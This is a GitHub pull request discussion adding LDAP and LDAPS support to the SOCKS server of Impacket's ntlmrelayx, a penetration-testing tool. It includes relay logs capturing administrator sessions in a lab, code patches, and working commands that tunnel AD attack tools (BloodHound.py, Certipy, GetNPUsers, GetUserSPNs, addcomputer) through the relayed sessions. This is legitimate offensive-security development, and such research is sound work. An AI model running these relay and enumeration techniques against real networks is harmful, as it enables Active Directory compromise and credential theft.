Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for LDAP and LDAPS protocols in ntlmrelayx SOCKS #1825

Merged
merged 7 commits into from
Dec 20, 2024

Conversation

b1two
Copy link
Contributor

@b1two b1two commented Oct 6, 2024

Adds support for LDAP and LDAPS protocols in the SOCKS server of ntlmrelayx.

This allows the use of any tool that works with LDAP(s) through the relay obtained using ntlmrelayx. Specifically, this eliminates the need to reimplement every LDAP attack within the LDAP interactive shell, allowing to use of any available PoC directly through the SOCKS server provided by ntlmrelayx.

Some technical details about the implementation:

  • I added a keep-alive method in the LDAP client (in impacket/examples/ntlmrelayx/clients/ldaprelayclient.py) that was not required until now. It simply performs a basic LDAP query to keep the connection alive.
  • NTLM message building was adapted from the smbserver example.
  • Once the SOCKS client authentication is completed, the relay simply forwards bytes from the client to the server and back, with no parsing involved. This approach seems more robust to me.
  • The LDAPS implementation reuses almost everything from LDAP, except for the polling of new data.

It should fix #514.

Please let me know if any adjustments or improvements are needed.

Short usage example:

$ ntlmrelayx.py -t ldaps://192.168.99.11 -socks
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[...]
[*] SMB Socks Plugin loaded..
[*] LDAP Socks Plugin loaded..
[*] LDAPS Socks Plugin loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target ldaps://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](636) to active SOCKS connection. Enjoy

ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAPS     192.168.99.11  FF/ADMINISTRATOR  N/A          636
ntlmrelayx>
[*] LDAP: Proxying client session for FF/[email protected](636)
ntlmrelayx> 
[*] LDAP: Proxying client session for FF/[email protected](636)
ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAPS     192.168.99.11  FF/ADMINISTRATOR  N/A          636

@anadrianmanrique
Copy link
Contributor

anadrianmanrique commented Oct 25, 2024

hi @b1two . This looks like a relly interesting feature to integrate! thanks!
I'm starting to test this changes. After performing HTTP->LDAP relay I get the following ouput

ntlmrelayx> [+] KeepAlive Timer reached. Updating connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.2.10.12 controlled, attacking target ldap://10.2.10.10
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://10.2.10.10 as LUDUS/DOMAINUSER SUCCEED
[*] SOCKS: Adding LUDUS/[email protected](389) to active SOCKS connection. Enjoy
[+] Checking admin status for user LUDUS/DOMAINUSER
[+] isAdmin returned: N/A
[+] KeepAlive Timer reached. Updating connections
[+] Calling keepAlive() for LUDUS/[email protected]:389
[+] KeepAlive Timer reached. Updating connections
[+] Calling keepAlive() for LUDUS/[email protected]:389
[+] SOCKS: New Connection from 127.0.0.1(50750)
[+] SOCKS: Target is 10.2.10.10(445)
[-] SOCKS: Don't have a relay for 10.2.10.10(445)
[+] SOCKS: New Connection from 127.0.0.1(50756)
[+] SOCKS: Target is 10.2.10.10(389)
[+] Handler for port 389 found <class 'impacket.examples.ntlmrelayx.servers.socksplugins.ldap.LDAPSocksRelay'>
[+] Received 1 message(s)
[+] Got empty bind request
[+] Received 1 message(s)
[+] Got NTLM bind request
[+] Received 1 message(s)
[*] LDAP: Proxying client session for LUDUS/[email protected](389)
[+] Received 61 byte(s) from client
[+] Received 136 byte(s) from server
[+] Received 279 byte(s) from client
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
[+] Received 4096 byte(s) from server
several 
[+] Received 4096 byte(s) from server
[+] Received 2396 byte(s) from server
[+] Received 32 byte(s) from client
[+] Received 67 byte(s) from server
[+] Received 0 byte(s) from client
[+] Finished tunnelling

this was trying pywerview:

└─$ proxychains python3 pywerview.py get-netgroup -w ludus -u domainuser -p p --dc-ip 10.2.10.10
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.10:445-<--denied
|S-chain|-<>-127.0.0.1:1080-<><>-10.2.10.10:389-<><>-OK
Traceback (most recent call last):
  File "/home/kali/pywerview/pywerview.py", line 23, in <module>
    main()
  File "/home/kali/pywerview/pywerview/cli/main.py", line 636, in main
    results = args.func(**parsed_args)
              ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/cli/helpers.py", line 120, in get_netgroup
    return requester.get_netgroup(queried_groupname=queried_groupname,
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/requester.py", line 520, in wrapper
    return f(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/functions/net.py", line 386, in get_netgroup
    return self._ldap_search(group_search_filter, adobj.Group, attributes=attributes)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/pywerview/pywerview/requester.py", line 491, in _ldap_search
    for result in search_results:
                  ^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/extend/standard/PagedSearch.py", line 47, in paged_search_generator
    search_base = safe_dn(search_base)
                  ^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/utils/dn.py", line 353, in safe_dn
    for component in parse_dn(dn, escape=True):
                     ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/kali/.local/lib/python3.12/site-packages/ldap3/utils/dn.py", line 319, in parse_dn
    raise LDAPInvalidDnError('unable to validate attribute value in ' + ava)
ldap3.core.exceptions.LDAPInvalidDnError: unable to validate attribute value in dc=

any idea what could be happening?

@b1two
Copy link
Contributor Author

b1two commented Oct 26, 2024

Hello, thanks for testing this PR.

I checked and pywerview actually performs an SMB bind to retrieve the FQDN of the domain prior to performing the action (see https://github.com/the-useless-one/pywerview/blob/973ed7933b5621d88960152bba422e6644327d34/pywerview/requester.py#L353). Since there was no relay available for SMB ([-] SOCKS: Don't have a relay for 10.2.10.10(445) in the output of ntlmrelayx), it fails and tries to keep going with the LDAP queries and an empty FQDN. That is why ldap3 cannot validate the value of dc=.

You can either use the -d option of pywerview so that it does not perform the first SMB connection, or have both the LDAP and SMB relays available in ntlmrelayx.

For the second option, I did not manage to make it work without the following two patches to impacket.

  • The first patch to impacket/examples/ntlmrelayx/utils/targetsutils.py allows to have multiple relays for different protocols for a single host, so in our case LDAP and SMB for the domain controller. Without it, when a relay is obtained with --no-multirelay for either protocol (say LDAP) for a host, the rest of the targets for this host are ignored (for instance SMB), and ntlmrelayx returns Connection from <IP> controlled, but there are no more targets left!.
    Side note: pywerview only uses information taken from the NTLM authentication with the domain controller, so even if there is SMB signing required, it will still work:
    https://github.com/the-useless-one/pywerview/blob/973ed7933b5621d88960152bba422e6644327d34/pywerview/requester.py#L353
    def getServerDNSDomainName(self):

    return self.__server_dns_domain_name

    self.__server_dns_domain_name = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode('utf-16le')
  • The second patch to impacket/nmb.py is fixing an exception in impacket that is triggered by pywerview during the SMB exchange. I did not dig too much into it, but it seems that in the rawData method of NetBIOSSessionPacket, the value of self._trailer could be either bytes or SMB2Packet, so we need to call .getData() on the SMB2Packet value to get bytes as well.
    The stacktrace of the error in question:
Traceback (most recent call last):
  File "/home/user/impacket/impacket/examples/ntlmrelayx/servers/socksserver.py", line 433, in handle
    relay.tunnelConnection()
  File "/home/user/impacket/impacket/examples/ntlmrelayx/servers/socksplugins/smb.py", line 180, in tunnelConnection
    self.__NBSession.send_packet(data)
  File "/home/user/impacket/impacket/nmb.py", line 915, in send_packet
    self._sock.sendall(p.rawData())
                       ^^^^^^^^^^^
  File "/home/user/impacket/impacket/nmb.py", line 691, in rawData
    data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~
TypeError: can't concat SMB2Packet to bytes

The patches:

diff --git a/impacket/examples/ntlmrelayx/utils/targetsutils.py b/impacket/examples/ntlmrelayx/utils/targetsutils.py
index 7e119d67..6f4fdaa8 100644
--- a/impacket/examples/ntlmrelayx/utils/targetsutils.py
+++ b/impacket/examples/ntlmrelayx/utils/targetsutils.py
@@ -157,7 +157,7 @@ class TargetsProcessor:
             # Multirelay feature is disabled, general candidates are attacked just one time
             elif multiRelay == False:
                 for target in self.generalCandidates:
-                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc]
+                    match = [x for x in self.finishedAttacks if x.hostname == target.netloc and x.scheme == target.scheme]
                     if len(match) == 0:
                         self.generalCandidates.remove(target)
                         return target
diff --git a/impacket/nmb.py b/impacket/nmb.py
index 7cf6412a..a7f451d6 100644
--- a/impacket/nmb.py
+++ b/impacket/nmb.py
@@ -686,10 +686,13 @@ class NetBIOSSessionPacket:
         return self.type

     def rawData(self):
+        trailer = self._trailer
+        if type(self._trailer) != bytes:
+            trailer = self._trailer.getData()
         if self.type == NETBIOS_SESSION_MESSAGE:
-            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + self._trailer
+            data = pack('!BBH', self.type, self.length >> 16, self.length & 0xFFFF) + trailer
         else:
-            data = pack('!BBH', self.type, self.flags, self.length) + self._trailer
+            data = pack('!BBH', self.type, self.flags, self.length) + trailer
         return data

     def set_trailer(self, data):

In the end, with the two relays in place, pywerview seems to work fine:

  • ntlmrelayx side:
$ cat targets.txt
ldap://192.168.99.11
smb://192.168.99.11


$ python3 examples/ntlmrelayx.py -tf targets.txt -socks -smb2support --no-multirelay
Impacket v0.13.0.dev0+20241006.154637.6b688a85 - Copyright Fortra, LLC and its affiliated companies

[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening on 127.0.0.1:1080
[*] HTTPS Socks Plugin loaded..
[*] IMAP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] LDAP Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] LDAPS Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] Setting up SMB Server on port 445
[*] Setting up HTTP Server on port 80
 * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
 * Debug mode: off
[*] Setting up WCF Server on port 9389
[*] Setting up RAW Server on port 6666
[*] Multirelay disabled

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target ldap://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](389) to active SOCKS connection. Enjoy
ntlmrelayx>
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 192.168.99.31 controlled, attacking target smb://192.168.99.11
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against smb://192.168.99.11 as FF/ADMINISTRATOR SUCCEED
[*] SOCKS: Adding FF/[email protected](445) to active SOCKS connection. Enjoy
ntlmrelayx> socks
Protocol  Target         Username          AdminStatus  Port
--------  -------------  ----------------  -----------  ----
LDAP      192.168.99.11  FF/ADMINISTRATOR  N/A          389
SMB       192.168.99.11  FF/ADMINISTRATOR  TRUE         445
ntlmrelayx>
[*] SOCKS: Proxying client session for FF/[email protected](445)
[*] LDAP: Proxying client session for FF/[email protected](389)
  • pywerview side:
$ proxychains4 pywerview get-netgroup -u Administrator -w FF -p p --dc-ip 192.168.99.11
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.99.11:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.99.11:389  ...  OK
samaccountname: test
samaccountname: DnsUpdateProxy
samaccountname: DnsAdmins
samaccountname: Enterprise Key Admins
samaccountname: Key Admins
[...]

Let me know if that works on your side as well.

@b1two
Copy link
Contributor Author

b1two commented Oct 26, 2024

This made me realize that I was building the NTLM challenge message for the client with dummy data, although it works, it may cause issues for tools that rely on the information in this message.
https://github.com/b1two/impacket/blob/6b688a8524c9dfbb2a0cb859b3cea1e3cdd9c135/impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py#L106

I have a (tiny) working patch that, instead of building the whole message from scratch, uses the one that was received from the real server during the relay. I pushed the modifications in another branch: b1two@6c5f97d

Do you want me to update this PR to reflect this change?

@anadrianmanrique
Copy link
Contributor

@b1two yes please! thank you!
FYI: I'll be on vacations for 2 weeks with limited access to the repo, so I'll try to review/test changes as soon as I can.

@dkjajhqu2h3j
Copy link

Hi. I am trying to proxy Bloodhound.py using this PR but it does not fully work. Bloodhound.py requires both port 389 and port 3268 to work so I configure ntlmrelayx to setup SOCKS servers on both ports using your two patches above. However, once Bloodhound.py attempts to use port 3268, ntlmrelayx outputs "...(389) is being used at the moment!" and Bloodhound.py crashes.

Any ideas? Thanks!

ntlmlrelayx:
ntlmrelayx1
ntlmrelayx

bloodhound.py:
bloodhound py

@b1two
Copy link
Contributor Author

b1two commented Nov 4, 2024

@anadrianmanrique Done! No worries, I am quite busy myself these days.
We recently had to use this MR to proxify ADExplorer. However, it sends LDAP requests before performing the NTLM authentication, so we are not able to identify through which relay we should send these first messages. To fix this issue, I added the handling of these pre-authentication messages (supportedCapabilities and supportedSASLMechanisms) by forging LDAP responses. These draft changes are available here: eaf1ae1.
What do you think of such solution? In case it is fine, should we discuss what data to send back to the client?

@dkjajhqu2h3j I will look into it, but I think that the issue is likely to come from Bloodhound.py trying to use multiple connections to the LDAP server in parallel (LDAP: Proxying client session for ADLAB1/[email protected](3268) seems to indicate that it was able to relay to the global catalog).

@anadrianmanrique
Copy link
Contributor

@b1two thank you! I was able able to execute successfully pywerview, after your latest changes, by avoiding smb connection. Now, still can't make it work with impacket ldap examples, like GetNPUsers, GetADComputers or GetADUsers. Let me see if I can provide more information about this

@b1two
Copy link
Contributor Author

b1two commented Dec 17, 2024

Thanks for testing! I found why the impacket examples did not work with the code: the impacket ldap library specifies the name of the user in the bind request (I am not really sure why) while most (all?) other tools (AD explorer and ldap3 based tools) specify the string "NTLM":

Anyway, I changed the way of identifying bind messages to the inner field of the "authentication" attribute, so that it is more robust.

I also modified the way I was handling sockets while forwarding message, it is way faster to detect closed connections now.

I also merged the handling of pre-auth LDAP messages:

[...] We recently had to use this MR to proxify ADExplorer. However, it sends LDAP requests before performing the NTLM authentication, so we are not able to identify through which relay we should send these first messages. To fix this issue, I added the handling of these pre-authentication messages (supportedCapabilities and supportedSASLMechanisms) by forging LDAP responses.

I ran some tests on several tools, I regrouped the results and remarks below. Let me know if you think of other tools that might be of interest.


adidnsdump (https://github.com/dirkjanm/adidnsdump)

Tested with LDAP and LDAPs, works fine as-is.

LDAP:

$ proxychains4 -q adidnsdump -u 'FF.LOCAL\administrator' -p blabla 192.168.99.11
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 8 records

LDAPs:

$ proxychains4 -q adidnsdump -u 'FF.LOCAL\administrator' -p blabla --ssl 192.168.99.11
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Querying zone for records
[+] Found 8 records

BloodHound.py (https://github.com/dirkjanm/BloodHound.py)

Tested with LDAP and LDAPs, needs a patch to prevent mutliple simultaneous LDAP connections. If you want to use other collection methods than dcOnly, you will need to use an additional SOCKS proxy like bbs (https://github.com/synacktiv/bbs) to only forward LDAP traffic through ntlmrelayx and the rest through your access to the internal network. Remember though that the credentials in the command line are likely to be wrong, so the authentications on the other services will fail.

(dirty) Patch:

diff --git a/bloodhound/ad/authentication.py b/bloodhound/ad/authentication.py
index 91175a4..fa1a9f0 100644
--- a/bloodhound/ad/authentication.py
+++ b/bloodhound/ad/authentication.py
@@ -63,6 +63,7 @@ class ADAuthentication(object):
         # KDC for domain of the user - fill with domain first, will be resolved later
         self.userdomain_kdc = self.domain
         self.auth_method = auth_method
+        ADAuthentication.conn = None
 
         # Kerberos
         self.tgt = None
@@ -98,6 +99,8 @@ class ADAuthentication(object):
         else:
             ldappass = self.password
         ldaplogin = '%s\\%s' % (self.userdomain, self.username)
+        if ADAuthentication.conn is not None:
+            return ADAuthentication.conn
         conn = Connection(server, user=ldaplogin, auto_referrals=False, password=ldappass, authentication=NTLM, receive_timeout=60, auto_range=True)
         bound = False
         if self.tgt is not None and self.auth_method in ('kerberos', 'auto'):
@@ -127,6 +130,7 @@ class ADAuthentication(object):
             else:
                 logging.error('Failure to authenticate with LDAP! Error %s' % result['message'])
                 raise CollectionException('Could not authenticate to LDAP. Check your credentials and LDAP server requirements.')
+        ADAuthentication.conn = conn
         return conn
 
     def ldap_kerberos(self, connection, hostname):

LDAP:

$ proxychains4 -q python3 bloodhound.py -d ff.local -u Administrator -p blabli --auth-method ntlm -ns 192.168.99.11 -c dcOnly
INFO: Found AD domain: ff.local
INFO: Connecting to LDAP server: skyline.ff.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Connecting to LDAP server: skyline.ff.local
INFO: Found 8 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 22 containers
INFO: Found 4 computers
INFO: Found 0 trusts
INFO: Done in 00M 01S

LDAPs:

$ proxychains4 -q python3 bloodhound.py -d ff.local -u Administrator -p blabli --auth-method ntlm -ns 192.168.99.11 -c dcOnly --use-ldaps
INFO: Found AD domain: ff.local
INFO: Connecting to LDAP server: skyline.ff.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Connecting to LDAP server: skyline.ff.local
INFO: Found 8 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 22 containers
INFO: Found 4 computers
INFO: Found 0 trusts
INFO: Done in 00M 01S

Certipy (https://github.com/ly4k/Certipy)

Tested with LDAP and LDAPs, works fine as-is. Same remark as Bloodhound.py for the -dc-only option.

LDAP:

$ proxychains4 -q certipy find -dc-only -scheme ldap -dc-ip 192.168.99.11 -u '[email protected]' -p aaa
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 20 enabled certificate templates
[*] Saved BloodHound data to '20241217210511_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241217210511_Certipy.txt'
[*] Saved JSON output to '20241217210511_Certipy.json'

LDAPs:

$ proxychains4 -q certipy find -dc-only -scheme ldaps -dc-ip 192.168.99.11 -u '[email protected]' -p aaa
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 20 enabled certificate templates
[*] Saved BloodHound data to '20241217210338_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241217210338_Certipy.txt'
[*] Saved JSON output to '20241217210338_Certipy.json'

Impacket (https://github.com/fortra/impacket)

Tested with LDAP and LDAPs, works fine as-is. Same remark as Bloodhound.py for the -request option of GetNPUsers.py.

LDAP:

$ proxychains4 -q GetNPUsers.py -dc-ip 192.168.99.11 FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

Name     MemberOf  PasswordLastSet             LastLogon                   UAC
-------  --------  --------------------------  --------------------------  --------
newtest            2024-08-07 19:05:38.004303  2024-09-09 22:33:58.057824  0x410200
$ proxychains4 -q GetADUsers.py -dc-ip 192.168.99.11 -all FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

[*] Querying 192.168.99.11 for information about domain.
Name                  Email                           PasswordLastSet      LastLogon
--------------------  ------------------------------  -------------------  -------------------
Administrator                                         2023-12-10 18:11:10.704583  2024-12-18 04:03:49.891695
Guest                                                 <never>              <never>
krbtgt                                                2023-12-11 04:42:32.388120  <never>
newtest                                               2024-08-07 19:05:38.004303  2024-09-09 22:33:58.057824
[...]
$ proxychains4 -q GetADComputers.py -dc-ip 192.168.99.11 FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

[*] Querying 192.168.99.11 for information about domain.
SAM AcctName     DNS Hostname                         OS Version       OS
---------------  -----------------------------------  ---------------  --------------------
SKYLINE$         SKYLINE.ff.local                     10.0 (20348)     Windows Server 2022 Standard
ECLIPSE$         ECLIPSE.ff.local                     10.0 (19045)     Windows 10 Pro
[...]
$ proxychains4 -q GetLAPSPassword.py -dc-ip 192.168.99.11 FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

[-] No LAPS data returned
$ proxychains4 -q GetUserSPNs.py -dc-ip 192.168.99.11 FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName      Name     MemberOf  PasswordLastSet             LastLogon                   Delegation
------------------------  -------  --------  --------------------------  --------------------------  ----------
http/test.spn.ntlmrelayx  newtest            2024-08-07 19:05:38.004303  2024-09-09 22:33:58.057824

LDAPs:

$ proxychains4 -q addcomputer.py -dc-ip 192.168.99.11 -port 636 -method LDAPS-computer-name 'testcomp$' -computer-pass mypassword111. FF.LOCAL/Administrator:aaaaaaaa
Impacket v0.13.0.dev0+20241216.172807.67e19240 - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account testcomp$ with password mypassword111..

ldeep (https://github.com/franc-pentest/ldeep)

Tested with LDAP and LDAPs, works fine as-is. Note that with LDAP, ldeep tries to use TLS within the connection, which breaks the SOCKS, prefer LDAPs or use the command line option -n to disable encryption.

LDAP:

$ proxychains4 -q ldeep ldap -n -d FF.LOCAL -s ldap://192.168.99.11 -u administrator -p aaaaaaaa all /tmp/a
[+] Retrieving auth_policies output
[+] Retrieving auth_policies verbose output
[+] Retrieving bitlockerkeys output
[+] Retrieving bitlockerkeys verbose output
[+] Retrieving computers output
[...]

LDAPs:

$ proxychains4 -q ldeep ldap -d FF.LOCAL -s ldaps://192.168.99.11 -u administrator -p aaaaaaaaaaaa all /tmp/a
[+] Retrieving auth_policies output
[+] Retrieving auth_policies verbose output
[+] Retrieving bitlockerkeys output
[+] Retrieving bitlockerkeys verbose output
[+] Retrieving computers output
[...]

Active Directory Explorer (https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer)

Tested with LDAP and LDAPs, works as-is for LDAP (using Proxifier to forward in ntlmrelayx SOCKS) ; for LDAPs I did not manage to make it work due to certificate issues, so I used socat in the middle to receive cleartext traffic and forward it encapsulated in TLS to the LDAPs server through ntlmrelayx.

LDAP:
active_directory_explorer_ldap

LDAPs:

$ # socat being the target of AD explorer (see the different IP in the screenshot): listens on 389 and goes to the DC through ntlmrelayx
$ proxychains4 -q socat -dd TCP-LISTEN:389,fork,reuseaddr,bind=0.0.0.0 OPENSSL-CONNECT:192.168.99.11:636,verify=0
2024/12/17 21:54:12 socat[11361] N listening on AF=2 0.0.0.0:389
2024/12/17 21:54:25 socat[11361] N accepting connection from AF=2 192.168.99.31:54078 on AF=2 192.168.99.22:389
2024/12/17 21:54:25 socat[11361] N forked off child process 11364
2024/12/17 21:54:25 socat[11361] N listening on AF=2 0.0.0.0:389
2024/12/17 21:54:25 socat[11364] N opening connection to AF=2 192.168.99.11:636
[...]

ad_explorer_ldaps_socat


pywerview (https://github.com/the-useless-one/pywerview)

Tested with LDAP and LDAPs, works fine as-is.

LDAP:

$ proxychains4 -q pywerview get-netgroup -w FF.LOCAL -u Administrator -p aaaaa -t 192.168.99.11 -d FF.LOCAL
samaccountname: test
samaccountname: DnsUpdateProxy
samaccountname: DnsAdmins
samaccountname: Enterprise Key Admins
[...]

LDAPs:

$ proxychains4 -q pywerview get-netgroup -w FF.LOCAL -u Administrator -p aaaaa -t 192.168.99.11 -d FF.LOCAL --tls
samaccountname: test
samaccountname: DnsUpdateProxy
samaccountname: DnsAdmins
samaccountname: Enterprise Key Admins
[...]

@b1two b1two force-pushed the add-ldap-socks-ntlmrelayx branch from 35e8e8d to 2771660 Compare December 18, 2024 22:50
@anadrianmanrique
Copy link
Contributor

@b1two hats off to you!! amazing feature, and amazing PR. We had this in our TODO for 0.13 and I couldn't come in a better moment. We appreciate how well the PR evolved. Merging now
Thank you!

@anadrianmanrique anadrianmanrique merged commit 9c8e408 into fortra:master Dec 20, 2024
8 checks passed
@anadrianmanrique
Copy link
Contributor

We will also consider your proposed changes for ### ntlmrelayx in order to be able to relay smb and ldap connections to the same target.

@b1two
Copy link
Contributor Author

b1two commented Jan 2, 2025

Great news! Thrilled to see this merged, thank you!

(Quick note: I haven't fully tested the changes in ntlmrelayx for simultaneous SMB and LDAP relays, it was more of a "quick and dirty" patch)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
medium Medium priority item
Projects
None yet
Development

Successfully merging this pull request may close these issues.

LDAP relay in ntlmrelayx does not create active sessions
3 participants